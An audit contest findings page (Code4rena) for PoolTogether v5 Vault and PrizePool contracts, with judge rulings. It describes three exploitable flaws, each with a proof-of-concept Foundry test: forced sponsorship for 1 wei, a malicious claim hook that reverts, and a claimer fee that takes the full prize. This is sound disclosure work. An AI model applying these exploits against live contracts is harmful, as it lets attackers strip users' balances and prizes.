Platform: Code4rena
Start Date: 07/07/2023
Pot Size: $121,650 USDC
Total HM: 36
Participants: 111
Period: 7 days
Judge: Picodes
Total Solo HM: 13
Id: 258
League: ETH
Rank: 43/111
Findings: 4
Award: $338.65
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xkasper
Also found by: 0xStalin, 0xbepresent, 3docSec, Aymen0909, Co0nan, GREY-HAWK-REACH, Jeiwan, minhtrng, qpzm
163.3108 USDC - $163.31
https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L480 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L988
The Vault's sponsor function is designed to allow "on-behalf-sponsoring" the protocol: user A donates assets to B who will lock these assets to sponsor the protocol (that is, contribute to yield generation without harvesting).
However, when B is already holding a balance, A can donate as little as 1 wei of assets to force the full balance of B into sponsorship.
As a consequence, any user can be forced into sponsorship with their full balance by a malicious actor at near-zero cost.
The following unit test can be added to Deposit.t.sol
to prove the attack feasibility and impact:
function testSponsorUnwanted() external { uint256 oneKETH = 1_000 ether; uint256 oneWei = 1 wei; underlyingAsset.mint(alice, oneWei); underlyingAsset.mint(bob, oneKETH); // bob is happy to put their their 1k coins at work // hopefully the protocol will draw some juicy prizes soon vm.startPrank(bob); underlyingAsset.approve(address(vault), oneKETH); vault.mint(oneKETH, bob); (, ObservationLib.Observation memory newestObservation) = twabController.getNewestObservation(address(vault), bob); assertEq(oneKETH, newestObservation.balance); (, ObservationLib.Observation memory newestSupplyObservation) = twabController.getNewestTotalSupplyObservation(address(vault)); assertEq(oneKETH, newestSupplyObservation.balance); // alice however forces bob into sponsoring the protocol vm.stopPrank(); vm.startPrank(alice); underlyingAsset.approve(address(vault), oneWei); vault.sponsor(oneWei, bob); // now bob's 1k coins are no longer at work (, ObservationLib.Observation memory newestObservation2) = twabController.getNewestObservation(address(vault), bob); assertEq(0, newestObservation2.balance); // and the total supply for the vault is shrinked, so other users' chances of getting prizes increase at bob's expense (, ObservationLib.Observation memory newestSupplyObservation2) = twabController.getNewestTotalSupplyObservation(address(vault)); assertEq(0, newestSupplyObservation2.balance); }
Manual review
Vault.sol
to allow the "sponsor" function only if the recipient balance is zero. This however has limitations because a malicious "sponsor" call may still be successful when front-running large depositsRug-Pull
#0 - c4-judge
2023-07-14T23:08:32Z
Picodes marked the issue as duplicate of #393
#1 - c4-judge
2023-08-06T10:30:16Z
Picodes marked the issue as satisfactory
🌟 Selected for report: wvleak
Also found by: 0xbepresent, 3docSec, DadeKuma, Jeiwan, Udsen, dirk_y, keccak123, rvierdiiev, serial-coder, shaka, wvleak
40.0854 USDC - $40.09
https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1053 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1068
Claimers collect users' prizes in batches. Any user can plug their own logic to this process.
A malicious user can craft a hook that reverts explicitly, burns an arbitrary amount of gas, or even executes "gas-free" logic at the expense of the claimer.
The following test can be added to Vault.t.sol
to show the basic case (immediate revert).
function testBrokenClaimPrize() public { VaultHooks memory brokenHooks; brokenHooks.useBeforeClaimPrize = true; brokenHooks.implementation = IVaultHooks(address(0)); vm.prank(alice); vault.setHooks(brokenHooks); vm.expectRevert(); vm.startPrank(address(claimer)); mockPrizePoolClaimPrize(uint8(1), alice, 0, 1e18, address(claimer)); claimPrize(uint8(1), alice /* and other people... */, 0, 1e18, address(claimer)); vm.stopPrank(); }
Manual review
call/delegatecall
#0 - c4-judge
2023-07-18T18:10:02Z
Picodes marked the issue as duplicate of #465
#1 - c4-judge
2023-08-07T15:18:33Z
Picodes marked the issue as satisfactory
🌟 Selected for report: Jeiwan
Also found by: 0xSmartContract, 0xStalin, 3docSec, ABAIKUNANBAEV, btk, dev0cloo, dirk_y, grearlake, jaraxxus, keccak123, neumo, oxchsyston, rvierdiiev
22.9603 USDC - $22.96
https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L643 https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/PrizePool.sol#L417
The Vault seems to be intended for a trustless environment: anybody can create it through VaultFactory
, and this builds trust by keeping proof of good intentions via keeping track of the implementation a vault was created from.
However, a trusted implementation is not sufficient to trust a vault: the vault creator retains ownership, which can be used to set the claimer
at any time, potentially to a malicious one.
The claimer
itself can, in the worst case, claim prizes individually, charging a fee equal to the prize, in fact stealing all prizes.
Under the assumption that the vault owner can set the claimer - this is by design, the following UT can be added to PrizePool.t.sol
to prove how a fee can be tailored to steal the full prize:
function testClaimPrize_stolenByFee() public { contribute(100e18); closeDraw(winningRandomNumber); mockTwab(address(this), msg.sender, 0); // total prize size is returned vm.expectEmit(); emit IncreaseClaimRewards(address(this), 4.5454545454545454e18); claimPrize(msg.sender, 0, 0, 4.5454545454545454e18, address(this)); // grand prize is (100/220) * 0.1 * 100e18 = 4.5454...e18 assertEq(prizeToken.balanceOf(msg.sender), 0, "user balance after claim"); assertEq(prizePool.claimCount(), 1); assertEq(prizePool.balanceOfClaimRewards(address(this)), 4.5454545454545454e18); }
Visual inspection
or
Access Control
#0 - c4-judge
2023-07-16T15:42:56Z
Picodes marked the issue as duplicate of #324
#1 - c4-judge
2023-08-06T10:44:49Z
Picodes changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-08-06T10:46:46Z
Picodes marked the issue as satisfactory
🌟 Selected for report: 0xStalin
Also found by: 0xSmartContract, 0xWaitress, 3docSec, ABAIKUNANBAEV, DadeKuma, Jeiwan, K42, catellatech, dirk_y, keccak123, peanuts, squeaky_cactus
112.2875 USDC - $112.29
The protocol fundamentally facilitates users with yield farming. Users can create Vaults via a provided VaultFactory, and maintain or delegate their ownership.
Once a Vault is created (this happens via a VaultFactory contract), anybody can deposit ERC-20 assets (i.e. USDC), and receive back Vault-issued ERC-20 tokens in exchange, representing the depositor's share of assets managed by the vault.
When a user deposits assets to the Vault, the Vault immediately forwards them to the YieldVault (set at Vault creation). Also, it outsources the keeping track of Vault token balances to a central contract, TwabController, that provides the additional functionality to keep track of historical balances.
TwabController tracks user balances of vault tokens. It allows for delegating tokens to another account. Within TwabController, the sum of tokens held by an account and those delegated by others contribute is the baseline used to distribute the harvested yield.
Harvested yields are distributed by the PrizePool contract through a Claimer contract, whose primary goal is to aggregate prize claims to save gas, and prizes are randomly assigned to users with odds proportional to the ratio between their time-weighted balance of Vault tokens and the vault time-weighted Vault token supply.
20 hours
#0 - c4-judge
2023-07-18T18:49:44Z
Picodes marked the issue as grade-b
#1 - c4-sponsor
2023-07-18T23:45:29Z
asselstine marked the issue as sponsor acknowledged